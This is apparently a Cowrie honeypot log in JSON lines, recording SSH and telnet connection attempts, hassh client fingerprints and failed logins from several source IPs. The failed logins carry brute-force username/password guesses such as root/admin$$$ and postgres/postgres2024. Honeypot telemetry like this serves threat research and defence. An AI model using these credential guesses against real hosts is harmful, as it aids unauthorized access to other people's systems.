{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:59.132790Z","src_ip":"152.32.238.146","session":"1a2aaffd2407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"digitalizacion","password":"digitalizacion","message":"login attempt [digitalizacion/digitalizacion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:59.215178Z","src_ip":"152.32.238.146","session":"1a2aaffd2407","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":38204,"dst_ip":"10.17.0.5","dst_port":22,"session":"76e84a6f27bc","protocol":"ssh","message":"New connection: 103.143.231.102:38204 (10.17.0.5:22) [session: 76e84a6f27bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:59.901917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:59.906874Z","src_ip":"103.143.231.102","session":"76e84a6f27bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:19:59.983382Z","src_ip":"103.143.231.102","session":"76e84a6f27bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.11742377281189,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:00.035962Z","src_ip":"20.123.41.163","session":"f93cd5bbbada","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:00.228960Z","src_ip":"152.32.238.146","session":"1a2aaffd2407","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitpassword","message":"login attempt [git/gitpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:00.307029Z","src_ip":"103.143.231.102","session":"76e84a6f27bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:01.383971Z","src_ip":"103.143.231.102","session":"76e84a6f27bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":54422,"dst_ip":"10.17.0.5","dst_port":22,"session":"aad617d221c5","protocol":"ssh","message":"New connection: 45.144.233.139:54422 (10.17.0.5:22) [session: aad617d221c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:10.244661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:10.258879Z","src_ip":"45.144.233.139","session":"aad617d221c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:10.342481Z","src_ip":"45.144.233.139","session":"aad617d221c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo2019","message":"login attempt [odoo/odoo2019] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:10.683350Z","src_ip":"45.144.233.139","session":"aad617d221c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:11.778971Z","src_ip":"45.144.233.139","session":"aad617d221c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":49670,"dst_ip":"10.17.0.5","dst_port":22,"session":"35a07c0dd90a","protocol":"ssh","message":"New connection: 46.24.47.94:49670 (10.17.0.5:22) [session: 35a07c0dd90a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:22.333139Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:22.338300Z","src_ip":"46.24.47.94","session":"35a07c0dd90a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:22.450693Z","src_ip":"46.24.47.94","session":"35a07c0dd90a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres2024","message":"login attempt [postgres/postgres2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:22.913810Z","src_ip":"46.24.47.94","session":"35a07c0dd90a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":37332,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5d8951ef3fe","protocol":"telnet","message":"New connection: 104.245.105.2:37332 (10.17.0.5:23) [session: d5d8951ef3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:23.331034Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:24.025234Z","src_ip":"46.24.47.94","session":"35a07c0dd90a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":56756,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7e0b33b3323","protocol":"telnet","message":"New connection: 20.123.41.163:56756 (10.17.0.5:23) [session: e7e0b33b3323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:28.413153Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35138,"dst_ip":"10.17.0.5","dst_port":23,"session":"7360c7701773","protocol":"telnet","message":"New connection: 104.245.105.2:35138 (10.17.0.5:23) [session: 7360c7701773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:30.544070Z"}
{"eventid":"cowrie.session.closed","duration":9.316526651382446,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:37.729551Z","src_ip":"20.123.41.163","session":"e7e0b33b3323","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.238.146","src_port":58844,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce21d8b68488","protocol":"ssh","message":"New connection: 152.32.238.146:58844 (10.17.0.5:22) [session: ce21d8b68488]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:38.506423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:38.518490Z","src_ip":"152.32.238.146","session":"ce21d8b68488","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:38.542691Z","src_ip":"152.32.238.146","session":"ce21d8b68488","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin$$$","message":"login attempt [root/admin$$$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:38.619596Z","src_ip":"152.32.238.146","session":"ce21d8b68488","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:39.645672Z","src_ip":"152.32.238.146","session":"ce21d8b68488","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43330,"dst_ip":"10.17.0.5","dst_port":23,"session":"238c1d111f66","protocol":"telnet","message":"New connection: 20.123.41.163:43330 (10.17.0.5:23) [session: 238c1d111f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:44.177842Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43342,"dst_ip":"10.17.0.5","dst_port":23,"session":"316e72fdfd34","protocol":"telnet","message":"New connection: 20.123.41.163:43342 (10.17.0.5:23) [session: 316e72fdfd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:45.265987Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46114,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ab6705c1637","protocol":"telnet","message":"New connection: 104.245.105.2:46114 (10.17.0.5:23) [session: 2ab6705c1637]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:49.549846Z"}
{"eventid":"cowrie.session.closed","duration":6.585827350616455,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:50.763571Z","src_ip":"20.123.41.163","session":"238c1d111f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":54784,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e3130b39abb","protocol":"ssh","message":"New connection: 103.143.231.102:54784 (10.17.0.5:22) [session: 0e3130b39abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:54.730789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:54.735922Z","src_ip":"103.143.231.102","session":"0e3130b39abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.425849437713623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:54.756781Z","src_ip":"104.245.105.2","session":"d5d8951ef3fe","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:54.807557Z","src_ip":"103.143.231.102","session":"0e3130b39abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qwertytest","message":"login attempt [test/qwertytest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:55.114073Z","src_ip":"103.143.231.102","session":"0e3130b39abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:20:56.186845Z","src_ip":"103.143.231.102","session":"0e3130b39abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":41450,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c6fbb7236e6","protocol":"ssh","message":"New connection: 45.144.233.139:41450 (10.17.0.5:22) [session: 9c6fbb7236e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:00.869503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:00.874432Z","src_ip":"45.144.233.139","session":"9c6fbb7236e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:00.961265Z","src_ip":"45.144.233.139","session":"9c6fbb7236e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"31415926","message":"login attempt [admin/31415926] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:01.342136Z","src_ip":"45.144.233.139","session":"9c6fbb7236e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.26968502998352,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:01.813634Z","src_ip":"104.245.105.2","session":"7360c7701773","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44644,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c4d70f9a613","protocol":"telnet","message":"New connection: 104.245.105.2:44644 (10.17.0.5:23) [session: 8c4d70f9a613]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:02.096844Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:02.433085Z","src_ip":"45.144.233.139","session":"9c6fbb7236e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":43550,"dst_ip":"10.17.0.5","dst_port":23,"session":"e97bb64e025e","protocol":"telnet","message":"New connection: 20.123.41.163:43550 (10.17.0.5:23) [session: e97bb64e025e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:08.464512Z"}
{"eventid":"cowrie.session.closed","duration":31.22637629508972,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:20.776100Z","src_ip":"104.245.105.2","session":"2ab6705c1637","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.24.47.94","src_port":38540,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4d62a7104bc","protocol":"ssh","message":"New connection: 46.24.47.94:38540 (10.17.0.5:22) [session: d4d62a7104bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:20.807106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:21:20.812378Z","src_ip":"46.24.47.94","session":"d4d62a7104bc","protocol":"ssh"}
